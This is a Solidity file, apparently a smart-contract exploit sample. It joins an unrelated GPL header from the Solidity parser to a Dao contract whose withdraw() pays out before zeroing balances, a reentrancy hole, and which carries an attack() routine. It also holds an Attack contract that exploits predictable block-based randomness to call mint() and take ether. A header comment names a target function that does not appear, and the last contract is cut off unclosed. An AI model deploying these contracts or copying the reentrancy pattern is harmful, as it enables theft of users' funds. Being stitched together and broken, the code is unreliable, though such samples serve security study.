// Contract: Att
// Target function: function getBalance() external view returns(uint256)
/*
	This file is part of solidity.
	solidity is free software: you can redistribute it and/or modify
	it under the terms of the GNU General Public License as published by
	the Free Software Foundation, either version 3 of the License, or
	(at your option) any later version.
	solidity is distributed in the hope that it will be useful,
	but WITHOUT ANY WARRANTY; without even the implied warranty of
	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
	GNU General Public License for more details.
	You should have received a copy of the GNU General Public License
	along with solidity.  If not, see <http://www.gnu.org/licenses/>.
*/
// SPDX-License-Identifier: GPL-3.0
/**
 * @author Christian <c@ethdev.com>
 * @date 2014
 * Solidity parser.
 */

pragma solidity ^0.8.17;



interface IDao {
    function withdraw() external ;
    function deposit()external  payable;
     event Log(string); 
     event Oct(string); 
} 
contract Dao {
      IDao dao; 
    mapping(address => uint256) public balances;

constructor(address _random){
        dao = IDao(_random); 
}

    function deposit() public payable {
        require(msg.value >= 0.001 ether, "Deposits must be no less than 0.001 Ether");
        balances[msg.sender] += msg.value;
    }

    function withdraw() public {
        // Check user's balance
        require(
            balances[msg.sender] >= 0.001 ether,
            "Insufficient funds.  Cannot withdraw"
        );
        uint256 bal = balances[msg.sender];

        // Withdraw user's balance
        (bool sent, ) = msg.sender.call{value: bal}("");
        require(sent, "Failed to withdraw sender's balance");

        // Update user's balance.
        balances[msg.sender] = 0;
    }

    function daoBalance() public view returns (uint256) {
        return address(this).balance;
    }
        function attack() public payable {
        // Seed the Dao with at least 1 Ether.
        require(msg.value >= 1 ether, "Need at least 1 ether to commence attack.");
        dao.deposit{value: msg.value}();

        // Withdraw from Dao.
        dao.withdraw();
        }
}
contract Attack {
    event Log(string);
    
    function attack(address _random) external payable {
        if (payable(_random).balance < 1){
            emit Log("All have been taken out");
        }
        else{
            if(uint256(keccak256(abi.encodePacked(block.difficulty,block.timestamp))) % 2 == 0) {
                emit Log("failed to get rand, wait 10 seconds");
            }
            else{
                (bool ok,) = _random.call(abi.encodeWithSignature("mint()"));
                if( !ok ){
                    emit Log("failed to call mint()");
                }
                else{
                    emit Log("succeeded getting eth");
                }
            }
        }
    }